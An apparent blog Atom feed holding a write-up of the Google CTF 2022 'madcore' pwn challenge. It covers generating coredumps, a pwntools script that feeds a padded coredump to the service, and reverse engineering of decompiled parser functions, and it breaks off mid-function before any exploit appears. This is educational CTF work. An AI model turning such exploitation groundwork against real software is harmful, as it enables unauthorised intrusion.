<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en"><generator uri="https://jekyllrb.com/" version="4.4.1">Jekyll</generator><link href="https://blog.embe221ed.dev/feed.xml" rel="self" type="application/atom+xml" /><link href="https://blog.embe221ed.dev/" rel="alternate" type="text/html" hreflang="en" /><updated>2026-07-31T20:07:48+02:00</updated><id>https://blog.embe221ed.dev/feed.xml</id><title type="html">embe221ed</title><subtitle>pwn and binary exploitation writeups, CTF notes, and the occasional article — by embe221ed of justCatTheFish.</subtitle><author><name>embe221ed</name></author><entry><title type="html">madcore</title><link href="https://blog.embe221ed.dev/posts/Google-Capture-The-Flag-2022-madcore-pwn/" rel="alternate" type="text/html" title="madcore" /><published>2022-07-15T05:00:00+02:00</published><updated>2022-07-15T05:00:00+02:00</updated><id>https://blog.embe221ed.dev/posts/Google-Capture-The-Flag-2022-madcore-pwn</id><content type="html" xml:base="https://blog.embe221ed.dev/posts/Google-Capture-The-Flag-2022-madcore-pwn/"><![CDATA[<h2 id="introduction">introduction</h2>

<p><code class="language-plaintext highlighter-rouge">madcore</code> was a pwn task from <a href="https://capturetheflag.withgoogle.com/challenges/pwn-madcore">Google CTF 2022</a>. It is a coredump helper
that parses the input as <em>coredump</em> file and produces some results.
<!--more--></p>

<h3 id="files">files</h3>

<p>We are provided with few files:</p>
<ul>
  <li><code class="language-plaintext highlighter-rouge">Dockerfile</code></li>
  <li><code class="language-plaintext highlighter-rouge">flag</code></li>
  <li><code class="language-plaintext highlighter-rouge">ld-linux-x86-64.so.2</code></li>
  <li><code class="language-plaintext highlighter-rouge">libc.so.6</code></li>
  <li><code class="language-plaintext highlighter-rouge">libstdc++.so.6</code></li>
  <li><code class="language-plaintext highlighter-rouge">madcore</code></li>
  <li><code class="language-plaintext highlighter-rouge">nsjail.cfg</code></li>
</ul>

<blockquote>
  <p>download: <a href="https://embe221ed.dev/files/CTFs/GoogleCTF/2022/pwn/madcore/madcore.zip">madcore.zip</a></p>
</blockquote>

<h3 id="interface">interface</h3>

<p><code class="language-plaintext highlighter-rouge">madcore</code> interface is simple. Just write bytes to it and it will count them until enough bytes is sent.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>➜  madcore git:<span class="o">(</span>main<span class="o">)</span> ✗ ./madcore
abcd    <span class="c"># input bytes</span>
Read 5  <span class="c"># counts bytes</span>
</code></pre></div></div>

<p>so, I think it’s time to prepare a <em>coredump</em> file to send.</p>

<h2 id="coredump">coredump</h2>

<h3 id="what-is-coredump-file">what is coredump file?</h3>

<blockquote>
  <p>A core dump is a file containing a process’s address space (memory) when the process terminates unexpectedly. Core dumps may be produced on-demand (such as by a debugger), or automatically upon termination. Core dumps are triggered by the kernel in response to program crashes, and may be passed to a helper program (such as systemd-coredump) for further processing - <a href="https://wiki.archlinux.org/title/Core_dump">Arch Linux wiki</a></p>
</blockquote>

<p>There is an interesting post covering <em>coredump</em> file structure <a href="https://www.gabriel.urdhr.fr/2015/05/29/core-file/">here</a>.</p>

<h3 id="generate-coredump-file">generate coredump file</h3>

<p>I’ve tried to generate a <em>coredump</em> file by simply causing <code class="language-plaintext highlighter-rouge">SEGFAULT</code> in my C++ program:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>➜  crash git:<span class="o">(</span>main<span class="o">)</span> ✗ <span class="nb">ls
</span>test.cpp
➜  crash git:<span class="o">(</span>main<span class="o">)</span> ✗ ccat test.cpp       
0001: <span class="c">#include &lt;iostream&gt;</span>
0002: using namespace std<span class="p">;</span>
0003: int main<span class="o">(){</span>
0004:    int arr[2]<span class="p">;</span>
0005:    arr[3] <span class="o">=</span> 10<span class="p">;</span>
0006:    <span class="k">return </span>0<span class="p">;</span>
0007: <span class="o">}</span>
0008: 
➜  crash git:<span class="o">(</span>main<span class="o">)</span> ✗ g++ test.cpp <span class="nt">-o</span> <span class="nb">test</span>
➜  crash git:<span class="o">(</span>main<span class="o">)</span> ✗ <span class="nb">ls
test  </span>test.cpp
➜  crash git:<span class="o">(</span>main<span class="o">)</span> ✗ ./test
<span class="k">***</span> stack smashing detected <span class="k">***</span>: terminated
<span class="o">[</span>1]    13827 abort <span class="o">(</span>core dumped<span class="o">)</span>  ./test
➜  crash git:<span class="o">(</span>main<span class="o">)</span> ✗ <span class="nb">ls
test  </span>test.cpp
</code></pre></div></div>

<p>but no <em>coredump</em> file is there…</p>

<p>There were two reasons why my <em>coredump</em> file was not generated:</p>
<ol>
  <li>core dump size limit</li>
  <li>core_pattern</li>
</ol>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>➜  crash git:<span class="o">(</span>main<span class="o">)</span> ✗ <span class="nb">sudo </span>sysctl <span class="nt">-w</span> kernel.core_pattern<span class="o">=</span>core.%u.%p.%t <span class="c"># to enable core generation</span>
kernel.core_pattern <span class="o">=</span> core.%u.%p.%t
➜  crash git:<span class="o">(</span>main<span class="o">)</span> ✗ <span class="nb">ulimit</span> <span class="nt">-c</span> unlimited <span class="c"># set core dump size to unlimited</span>
➜  crash git:<span class="o">(</span>main<span class="o">)</span> ✗ ./test
<span class="k">***</span> stack smashing detected <span class="k">***</span>: terminated
<span class="o">[</span>1]    14162 abort <span class="o">(</span>core dumped<span class="o">)</span>  ./test
➜  crash git:<span class="o">(</span>main<span class="o">)</span> ✗ <span class="nb">ls    
</span>core.1001.14162.1657865437  <span class="nb">test  </span>test.cpp
</code></pre></div></div>

<p>That way, I was able to generate valid <em>coredump</em> file to provide it to <code class="language-plaintext highlighter-rouge">madcore</code>. The <em>coredump</em> file generated that way is quite big and working on it was
probably not the best way as I didn’t fully understand the layout of it. I spent too much time looking for correct bytes to edit…</p>

<h3 id="send-coredump-to-madcore">send coredump to madcore</h3>

<p>At first, I was sending the <em>coredump</em> file but the program wouldn’t stop reading bytes…
I had to take a quick look at the decompiled code to see what is going on.
The reading is performed in <code class="language-plaintext highlighter-rouge">main()</code> function, just at the beginning.</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">buffer</span> <span class="o">=</span> <span class="p">(</span><span class="n">uchar</span> <span class="o">*</span><span class="p">)</span><span class="n">malloc</span><span class="p">(</span><span class="mh">0x1000000</span><span class="p">);</span>
<span class="n">memset</span><span class="p">(</span><span class="n">buffer</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="n">size</span><span class="p">);</span>
<span class="n">temp_buffer</span> <span class="o">=</span> <span class="n">buffer</span><span class="p">;</span>
<span class="n">length</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="k">while</span> <span class="p">(</span><span class="n">size</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
  <span class="n">_length</span> <span class="o">=</span> <span class="n">read</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="n">temp_buffer</span><span class="p">,</span><span class="n">size</span><span class="p">);</span>
  <span class="n">length</span> <span class="o">=</span> <span class="p">(</span><span class="kt">int</span><span class="p">)</span><span class="n">_length</span><span class="p">;</span>
  <span class="k">if</span> <span class="p">(</span><span class="n">length</span> <span class="o">&lt;</span> <span class="mi">1</span><span class="p">)</span> <span class="k">break</span><span class="p">;</span>
  <span class="n">size</span> <span class="o">=</span> <span class="n">size</span> <span class="o">-</span> <span class="p">(</span><span class="kt">long</span><span class="p">)</span><span class="n">length</span><span class="p">;</span>
  <span class="n">temp_buffer</span> <span class="o">=</span> <span class="n">temp_buffer</span> <span class="o">+</span> <span class="n">length</span><span class="p">;</span>
  <span class="n">printf</span><span class="p">(</span><span class="s">"Read %d</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="n">length</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<p>So, I have to send exactly <code class="language-plaintext highlighter-rouge">0x1000000</code> bytes. I prepared simple python script to do that easily.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">size</span> <span class="o">=</span> <span class="mh">0x1000000</span>

<span class="k">with</span> <span class="nf">open</span><span class="p">(</span><span class="n">args</span><span class="p">.</span><span class="n">CORE</span><span class="p">,</span> <span class="sh">"</span><span class="s">rb</span><span class="sh">"</span><span class="p">)</span> <span class="k">as</span> <span class="n">coredump</span><span class="p">:</span>
    <span class="n">data</span> <span class="o">=</span> <span class="nf">bytearray</span><span class="p">(</span><span class="n">coredump</span><span class="p">.</span><span class="nf">read</span><span class="p">())</span>

<span class="n">data_len</span> <span class="o">=</span> <span class="nf">len</span><span class="p">(</span><span class="n">data</span><span class="p">)</span>
<span class="k">assert</span> <span class="n">data_len</span> <span class="o">&lt;</span> <span class="n">size</span>
<span class="n">log</span><span class="p">.</span><span class="nf">info</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">len: </span><span class="si">{</span><span class="n">data_len</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
<span class="n">io</span><span class="p">.</span><span class="nf">send</span><span class="p">(</span><span class="n">data</span><span class="p">)</span>
<span class="n">io</span><span class="p">.</span><span class="nf">send</span><span class="p">(</span><span class="sa">b</span><span class="sh">"</span><span class="se">\x00</span><span class="sh">"</span><span class="o">*</span><span class="p">(</span><span class="n">size</span><span class="o">-</span><span class="n">data_len</span><span class="p">))</span>
<span class="n">io</span><span class="p">.</span><span class="nf">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="sh">"</span><span class="s">FINISHED READING.</span><span class="se">\n</span><span class="sh">"</span><span class="p">,</span> <span class="n">drop</span><span class="o">=</span><span class="bp">True</span><span class="p">)</span>
<span class="n">io</span><span class="p">.</span><span class="nf">interactive</span><span class="p">()</span>
</code></pre></div></div>

<p>And here is the result:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>➜  writeup git:<span class="o">(</span>main<span class="o">)</span> ✗ ./solve.py <span class="nv">CORE</span><span class="o">=</span>crash/core.1001.14162.1657865437
<span class="o">[</span><span class="k">*</span><span class="o">]</span> len: 507904
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Switching to interactive mode
<span class="o">{</span><span class="s2">"backtrace"</span>:[[0,<span class="s2">"&lt;unknown&gt;"</span><span class="o">]</span>,[2137,<span class="s2">"??</span><span class="se">\n</span><span class="s2">??:0:0</span><span class="se">\n\n</span><span class="s2">"</span><span class="o">]</span>,[438894,<span class="s2">"??</span><span class="se">\n</span><span class="s2">??:0:0</span><span class="se">\n\n</span><span class="s2">"</span><span class="o">]</span>,[438366,<span class="s2">"??</span><span class="se">\n</span><span class="s2">??:0:0</span><span class="se">\n\n</span><span class="s2">"</span><span class="o">]</span>,[438540,<span class="s2">"??</span><span class="se">\n</span><span class="s2">??:0:0</span><span class="se">\n\n</span><span class="s2">"</span><span class="o">]</span>,[438366,<span class="s2">"??</span><span class="se">\n</span><span class="s2">??:0:0</span><span class="se">\n\n</span><span class="s2">"</span><span class="o">]</span>,[153840,<span class="s2">"0x328</span><span class="se">\n</span><span class="s2">"</span><span class="o">]]</span>,<span class="s2">"modules"</span>:[<span class="s2">"/home/[REDACTED]/crash"</span>,<span class="s2">"/usr/lib/x86_64-linux-gnu/ld-2.31.so"</span>,<span class="s2">"/usr/lib/x86_64-linux-gnu/libc-2.31.so"</span><span class="o">]}</span>
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Got EOF <span class="k">while </span>reading <span class="k">in </span>interactive
<span class="nv">$ </span> 
</code></pre></div></div>

<p>We can interact with the program, let’s see what is happening inside!</p>

<h2 id="reverse-engineering">reverse engineering</h2>

<h3 id="functions">functions</h3>

<h4 id="main">main()</h4>

<p>The object <code class="language-plaintext highlighter-rouge">Corefile</code> is initialized with buffer just after the reading it. Then, the <code class="language-plaintext highlighter-rouge">Corefile::Process()</code> and <code class="language-plaintext highlighter-rouge">Corefile::GetRegisters()</code>
functions are called.</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">Corefile</span> <span class="n">corefile</span> <span class="o">=</span> <span class="n">Corefile</span><span class="o">::</span><span class="n">Corefile</span><span class="p">(</span><span class="n">buffer</span><span class="p">,</span> <span class="p">(</span><span class="kt">long</span><span class="p">)</span><span class="n">temp_buffer</span> <span class="o">-</span> <span class="p">(</span><span class="kt">long</span><span class="p">)</span><span class="n">buffer</span><span class="p">);</span>
<span class="n">corefile</span><span class="p">.</span><span class="n">Process</span><span class="p">();</span>
<span class="n">corefile</span><span class="p">.</span><span class="n">GetRegisters</span><span class="p">();</span>
</code></pre></div></div>

<h4 id="corefilecorefile">Corefile::Corefile()</h4>

<p>The <code class="language-plaintext highlighter-rouge">Corefile::Corefile()</code> constructor initializes:</p>
<ul>
  <li><code class="language-plaintext highlighter-rouge">ELFBinary</code> object for buffer</li>
  <li><code class="language-plaintext highlighter-rouge">std::vector</code> for <code class="language-plaintext highlighter-rouge">Binary</code> pointers</li>
  <li><code class="language-plaintext highlighter-rouge">std::vector</code> for <code class="language-plaintext highlighter-rouge">RegisterSet</code> pointers</li>
  <li><code class="language-plaintext highlighter-rouge">ELFBinary</code> object for all ELF files that is finds in the buffer</li>
  <li><code class="language-plaintext highlighter-rouge">std::map&lt;unsigned long, ELFBinary*&gt;</code> - address of the <code class="language-plaintext highlighter-rouge">ELFBinary</code> in the buffer and address of the object</li>
</ul>

<h4 id="corefileprocess">Corefile::Process()</h4>

<p>The <code class="language-plaintext highlighter-rouge">Corefile::Process()</code> function:</p>
<ul>
  <li>iterates over all <code class="language-plaintext highlighter-rouge">ELFBinary</code> objects</li>
  <li>runs <code class="language-plaintext highlighter-rouge">Corefile::ProcessLOADs()</code> function</li>
</ul>

<h4 id="corefileprocessloads">Corefile::ProcessLOADs()</h4>

<p>The <code class="language-plaintext highlighter-rouge">Corefile::ProcessLOADs()</code> function iterates over process headers and initializes <code class="language-plaintext highlighter-rouge">Binary</code> objects.</p>

<h4 id="corefilegetregisters">Corefile::GetRegisters()</h4>

<p>The <code class="language-plaintext highlighter-rouge">Corefile::GetRegisters()</code> function iterates over all <code class="language-plaintext highlighter-rouge">process_headers</code> and runs <code class="language-plaintext highlighter-rouge">Corefile::ProcessNotes()</code> for specific headers</p>

<h4 id="corefileprocessnotes">Corefile::ProcessNotes()</h4>

<p>The <code class="language-plaintext highlighter-rouge">Corefile::ProcessNotes()</code> function iterates over the process memory and looks for process notes.
Depending on the note type it runs different parser functions to handle them, including:</p>
<ul>
  <li><code class="language-plaintext highlighter-rouge">Corefile::ProcessSIGINFO()</code></li>
  <li><code class="language-plaintext highlighter-rouge">Corefile::ParseNtFile()</code></li>
  <li><code class="language-plaintext highlighter-rouge">Corefile::ParseAUXV()</code></li>
  <li>add <code class="language-plaintext highlighter-rouge">X86RegisterSet</code> to list of register sets of an object</li>
</ul>

<h4 id="corefileparsentfile">Corefile::ParseNtFile()</h4>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="n">__thiscall</span> <span class="n">Corefile</span><span class="o">::</span><span class="n">ParseNtFile</span><span class="p">(</span><span class="n">Corefile</span> <span class="o">*</span><span class="k">this</span><span class="p">,</span><span class="n">elf64_note</span> <span class="o">*</span><span class="n">note</span><span class="p">)</span> <span class="p">{</span>
  <span class="cm">/* variables */</span>
  
  <span class="n">puVar2</span> <span class="o">=</span> <span class="p">(</span><span class="n">note</span> <span class="o">+</span> <span class="p">(</span><span class="o">*</span><span class="n">note</span> <span class="o">+</span> <span class="mi">3U</span> <span class="o">&amp;</span> <span class="mh">0xfffffffc</span><span class="p">)</span> <span class="o">+</span> <span class="mh">0xc</span><span class="p">);</span>
  <span class="n">uVar1</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="n">note</span> <span class="o">+</span> <span class="mi">4</span><span class="p">);</span>
  <span class="n">size</span> <span class="o">=</span> <span class="o">*</span><span class="n">puVar2</span><span class="p">;</span>
  <span class="n">buffer</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="n">size</span> <span class="o">&lt;&lt;</span> <span class="mi">3</span><span class="p">);</span>
  <span class="n">index</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
  <span class="n">local_20</span> <span class="o">=</span> <span class="n">puVar2</span> <span class="o">+</span> <span class="mi">2</span><span class="p">;</span>
  <span class="k">while</span><span class="p">(</span> <span class="nb">true</span> <span class="p">)</span> <span class="p">{</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">size</span> <span class="o">&lt;=</span> <span class="p">(</span><span class="n">ulong</span><span class="p">)(</span><span class="kt">long</span><span class="p">)</span><span class="n">index</span><span class="p">)</span> <span class="p">{</span>
      <span class="n">local_18</span> <span class="o">=</span> <span class="p">((</span><span class="n">ulong</span><span class="p">)</span><span class="n">uVar1</span> <span class="o">-</span> <span class="mh">0x10</span><span class="p">)</span> <span class="o">+</span> <span class="n">size</span> <span class="o">*</span> <span class="o">-</span><span class="mh">0x18</span><span class="p">;</span>
      <span class="n">local_10</span> <span class="o">=</span> <span class="n">puVar2</span> <span class="o">+</span> <span class="mi">2</span> <span class="o">+</span> <span class="n">size</span> <span class="o">*</span> <span class="mi">3</span><span class="p">;</span>
      <span class="k">for</span> <span class="p">(</span><span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="p">(</span><span class="n">ulong</span><span class="p">)(</span><span class="kt">long</span><span class="p">)</span><span class="n">i</span> <span class="o">&lt;</span> <span class="n">size</span><span class="p">;</span> <span class="n">i</span> <span class="o">=</span> <span class="n">i</span> <span class="o">+</span> <span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">__s</span> <span class="o">=</span> <span class="n">strndup</span><span class="p">((</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="n">local_10</span><span class="p">,</span><span class="n">local_18</span><span class="p">);</span>
        <span class="n">sLength</span> <span class="o">=</span> <span class="n">strlen</span><span class="p">(</span><span class="n">__s</span><span class="p">);</span>
        <span class="n">local_10</span> <span class="o">=</span> <span class="p">(</span><span class="n">ulong</span> <span class="o">*</span><span class="p">)((</span><span class="kt">long</span><span class="p">)</span><span class="n">local_10</span> <span class="o">+</span> <span class="n">sLength</span> <span class="o">+</span> <span class="mi">1</span><span class="p">);</span>
        <span class="n">local_18</span> <span class="o">=</span> <span class="p">(</span><span class="n">local_18</span> <span class="o">-</span> <span class="n">sLength</span><span class="p">)</span> <span class="o">-</span> <span class="mi">1</span><span class="p">;</span>
        <span class="n">binary</span> <span class="o">=</span> <span class="p">(</span><span class="n">Binary</span> <span class="o">*</span><span class="p">)</span><span class="n">GetBinaryContainingAddress</span><span class="p">(</span><span class="k">this</span><span class="p">,</span><span class="o">*</span><span class="p">(</span><span class="n">ulong</span> <span class="o">*</span><span class="p">)((</span><span class="kt">long</span><span class="p">)</span><span class="n">buffer</span> <span class="o">+</span> <span class="p">(</span><span class="kt">long</span><span class="p">)</span><span class="n">i</span> <span class="o">*</span> <span class="mi">8</span><span class="p">));</span>
        <span class="k">if</span> <span class="p">(</span><span class="n">binary</span> <span class="o">!=</span> <span class="p">(</span><span class="n">Binary</span> <span class="o">*</span><span class="p">)</span><span class="mh">0x0</span><span class="p">)</span> <span class="p">{</span>
          <span class="n">Binary</span><span class="o">::</span><span class="n">SetFileName</span><span class="p">(</span><span class="n">binary</span><span class="p">,</span><span class="n">__s</span><span class="p">);</span>
        <span class="p">}</span>
      <span class="p">}</span>
      <span class="k">return</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="k">if</span> <span class="p">((</span><span class="n">ulong</span> <span class="o">*</span><span class="p">)((</span><span class="kt">long</span><span class="p">)</span><span class="n">puVar2</span> <span class="o">+</span> <span class="p">((</span><span class="n">ulong</span><span class="p">)</span><span class="n">uVar1</span> <span class="o">+</span> <span class="mi">3</span> <span class="o">&amp;</span> <span class="mh">0xfffffffffffffffc</span><span class="p">))</span> <span class="o">&lt;=</span> <span class="n">local_20</span> <span class="o">+</span> <span class="mi">3</span><span class="p">)</span> <span class="k">break</span><span class="p">;</span>
    <span class="o">*</span><span class="p">(</span><span class="n">ulong</span> <span class="o">*</span><span class="p">)((</span><span class="kt">long</span><span class="p">)</span><span class="n">index</span> <span class="o">*</span> <span class="mi">8</span> <span class="o">+</span> <span class="p">(</span><span class="kt">long</span><span class="p">)</span><span class="n">buffer</span><span class="p">)</span> <span class="o">=</span> <span class="o">*</span><span class="n">local_20</span><span class="p">;</span>
    <span class="n">local_20</span> <span class="o">=</span> <span class="n">local_20</span> <span class="o">+</span> <span class="mi">3</span><span class="p">;</span>
    <span class="n">index</span> <span class="o">=</span> <span class="n">index</span> <span class="o">+</span> <span class="mi">1</span><span class="p">;</span>
  <span class="p">}</span>
  <span class="k">return</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<h4 id="main-continued">main() continued</h4>

<p>Here, the initialization is done. After that, the program gets into loop that iterates over all threads:</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">while</span> <span class="p">(</span><span class="n">threads</span> <span class="o">=</span> <span class="n">corefile</span><span class="p">.</span><span class="n">GetNumberOfThreads</span><span class="p">(),</span> <span class="n">thread_num</span> <span class="o">&lt;</span> <span class="n">threads</span><span class="p">)</span> <span class="p">{</span>
  <span class="n">backtrace</span> <span class="o">=</span> <span class="n">corefile</span><span class="p">.</span><span class="n">GetBacktrace</span><span class="p">(</span><span class="n">thread_num</span><span class="p">);</span>
  <span class="n">registerSet</span> <span class="o">=</span> <span class="n">corefile</span><span class="p">.</span><span class="n">GetMappedRegisterSet</span><span class="p">(</span><span class="n">thread_num</span><span class="p">);</span>
  <span class="n">frameCount</span> <span class="o">=</span> <span class="n">backtrace</span><span class="p">.</span><span class="n">GetFrameCount</span><span class="p">();</span>
  <span class="n">endFrameCount</span> <span class="o">=</span> <span class="n">frameCount</span><span class="p">;</span>
  <span class="k">for</span> <span class="p">(</span><span class="n">currFrameIdx</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">currFrameIdx</span> <span class="o">&lt;</span> <span class="n">endFrameCount</span><span class="p">;</span> <span class="n">currFrameIdx</span> <span class="o">=</span> <span class="n">currFrameIdx</span> <span class="o">+</span> <span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">callFrame</span><span class="p">.</span><span class="n">field0_0x0</span> <span class="o">=</span> <span class="n">backtrace</span><span class="o">-&gt;</span><span class="n">frames</span><span class="p">[</span><span class="n">currFrameIdx</span><span class="p">].</span><span class="n">field0_0x0</span><span class="p">;</span>
    <span class="n">callFrame</span><span class="p">.</span><span class="n">field1_0x8</span> <span class="o">=</span> <span class="n">backtrace</span><span class="o">-&gt;</span><span class="n">frames</span><span class="p">[</span><span class="n">currFrameIdx</span><span class="p">].</span><span class="n">field1_0x8</span><span class="p">;</span>
    <span class="n">callFrame</span><span class="p">.</span><span class="n">binary</span> <span class="o">=</span> <span class="n">backtrace</span><span class="o">-&gt;</span><span class="n">frames</span><span class="p">[</span><span class="n">currFrameIdx</span><span class="p">].</span><span class="n">binary</span><span class="p">;</span>
    <span class="n">threads</span> <span class="o">=</span> <span class="n">callFrame</span><span class="p">.</span><span class="n">GetSP</span><span class="p">();</span>
    <span class="n">binary</span> <span class="o">=</span> <span class="p">(</span><span class="n">Binary</span> <span class="o">*</span><span class="p">)</span><span class="n">callFrame</span><span class="p">.</span><span class="n">GetBinary</span><span class="p">();</span>
    <span class="n">Symbolizer</span><span class="o">::</span><span class="n">Symbolizer</span><span class="p">(</span><span class="n">local_298</span><span class="p">,</span><span class="n">binary</span><span class="p">,</span><span class="n">threads</span><span class="p">);</span>
    <span class="n">Symbolizer</span><span class="o">::</span><span class="n">Symbolicate</span><span class="p">[</span><span class="n">abi</span><span class="o">:</span><span class="n">cxx11</span><span class="p">]();</span>
    <span class="n">mappedAddr</span> <span class="o">=</span> <span class="n">callFrame</span><span class="p">.</span><span class="n">GetMappedAddress</span><span class="p">();</span>
    <span class="cm">/*
     * push a result with address to std::vector, pseudocode:
     */</span>
     <span class="n">new_pair</span> <span class="o">=</span> <span class="n">std</span><span class="o">::</span><span class="n">make_pair</span><span class="o">&lt;</span><span class="n">ulong</span><span class="p">,</span> <span class="n">string</span><span class="o">&gt;</span><span class="p">(</span><span class="n">mappedAddr</span><span class="p">,</span> <span class="n">str</span><span class="p">);</span>
     <span class="n">std</span><span class="o">::</span><span class="n">vector</span><span class="o">::</span><span class="n">push_back</span><span class="p">(</span><span class="n">new_pair</span><span class="p">);</span>
  <span class="p">}</span>
  <span class="n">thread_num</span> <span class="o">=</span> <span class="n">thread_num</span> <span class="o">+</span> <span class="mi">1</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<h4 id="corefilegetbacktrace">Corefile::GetBacktrace()</h4>

<p>The <code class="language-plaintext highlighter-rouge">Corefile::GetBacktrace()</code> function:</p>
<ul>
  <li>initializes <code class="language-plaintext highlighter-rouge">StackWalker</code> object</li>
  <li>runs <code class="language-plaintext highlighter-rouge">StackWalker::GetBacktrace()</code> function</li>
  <li>runs <code class="language-plaintext highlighter-rouge">Backtrace::GetFrameCount()</code> function and logs the <code class="language-plaintext highlighter-rouge">frameCount</code></li>
</ul>

<h4 id="stackwalkergetbacktrace">StackWalker::GetBacktrace()</h4>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">Backtrace</span> <span class="o">*</span> <span class="n">__thiscall</span> <span class="n">StackWalker</span><span class="o">::</span><span class="n">GetBacktrace</span><span class="p">(</span><span class="n">StackWalker</span> <span class="o">*</span><span class="k">this</span><span class="p">,</span> <span class="n">ulong</span> <span class="n">address</span><span class="p">)</span> <span class="p">{</span>
  <span class="cm">/* variables */</span>
  
  <span class="n">backtrace</span> <span class="o">=</span> <span class="p">(</span><span class="n">Backtrace</span> <span class="o">*</span><span class="p">)</span><span class="k">operator</span><span class="p">.</span><span class="k">new</span><span class="p">(</span><span class="mh">0xc0</span><span class="p">);</span>
  <span class="n">Backtrace</span><span class="o">::</span><span class="n">Backtrace</span><span class="p">(</span><span class="n">backtrace</span><span class="p">,</span> <span class="n">address</span><span class="p">);</span>
  <span class="n">binaryWithAddr</span> <span class="o">=</span> <span class="p">(</span><span class="n">Binary</span> <span class="o">*</span><span class="p">)</span><span class="k">this</span><span class="o">-&gt;</span><span class="n">corefile</span><span class="p">.</span><span class="n">GetBinaryContainingAddress</span><span class="p">(</span><span class="n">address</span><span class="p">);</span>
  <span class="n">tempAddr</span> <span class="o">=</span> <span class="n">address</span><span class="p">;</span>
  <span class="k">if</span> <span class="p">(</span><span class="n">binaryWithAddr</span> <span class="o">!=</span> <span class="p">(</span><span class="n">Binary</span> <span class="o">*</span><span class="p">)</span><span class="mh">0x0</span><span class="p">)</span> <span class="p">{</span>
    <span class="k">while</span> <span class="p">(</span><span class="n">isContain</span> <span class="o">=</span> <span class="p">(</span><span class="kt">bool</span><span class="p">)</span><span class="n">binaryWithAddr</span><span class="p">.</span><span class="n">ContainsVirtualAddress</span><span class="p">(</span><span class="n">tempAddr</span><span class="p">),</span> <span class="n">isContain</span> <span class="o">==</span> <span class="nb">true</span><span class="p">)</span> <span class="p">{</span>
      <span class="n">vAddr</span> <span class="o">=</span> <span class="n">Binary</span><span class="o">::</span><span class="n">GetVirtualAddress</span><span class="p">(</span><span class="n">binaryWithAddr</span><span class="p">);</span>
      <span class="n">coreAddr</span> <span class="o">=</span> <span class="n">binaryWithAddr</span><span class="p">.</span><span class="n">GetCore</span><span class="p">();</span>
      <span class="n">addrInCore</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="n">coreAddr</span> <span class="o">+</span> <span class="p">(</span><span class="n">tempAddr</span> <span class="o">-</span> <span class="n">vAddr</span> <span class="o">&amp;</span> <span class="mh">0xfffffffffffffff8</span><span class="p">));</span>
      <span class="n">binaryWithNewAddr</span> <span class="o">=</span> <span class="k">this</span><span class="o">-&gt;</span><span class="n">corefile</span><span class="p">.</span><span class="n">GetBinaryContainingAddress</span><span class="p">(</span><span class="n">addrInCore</span><span class="p">);</span>
      <span class="k">if</span> <span class="p">((</span><span class="n">binaryWithNewAddr</span> <span class="o">!=</span> <span class="p">(</span><span class="n">Binary</span> <span class="o">*</span><span class="p">)</span><span class="mh">0x0</span><span class="p">)</span> <span class="o">&amp;&amp;</span> <span class="n">binaryWithNewAddr</span><span class="p">.</span><span class="n">IsExecutable</span><span class="p">()</span> <span class="o">==</span> <span class="nb">true</span><span class="p">))</span> <span class="p">{</span>
        <span class="n">backtrace</span><span class="p">.</span><span class="n">PushModule</span><span class="p">(</span><span class="n">binaryWithNewAddr</span><span class="p">,</span> <span class="n">addrInCore</span><span class="p">,</span> <span class="n">tempAddr</span> <span class="o">-</span> <span class="n">address</span><span class="p">);</span>
      <span class="p">}</span>
      <span class="n">tempAddr</span> <span class="o">=</span> <span class="n">tempAddr</span> <span class="o">+</span> <span class="mi">8</span><span class="p">;</span>
    <span class="p">}</span>
  <span class="p">}</span>
  <span class="k">return</span> <span class="n">backtrace</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<h4 id="binaryisexecutable">Binary::IsExecutable()</h4>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">bool</span> <span class="n">__thiscall</span> <span class="n">Binary</span><span class="o">::</span><span class="n">IsExecutable</span><span class="p">(</span><span class="n">Binary</span> <span class="o">*</span><span class="k">this</span><span class="p">)</span> <span class="p">{</span>
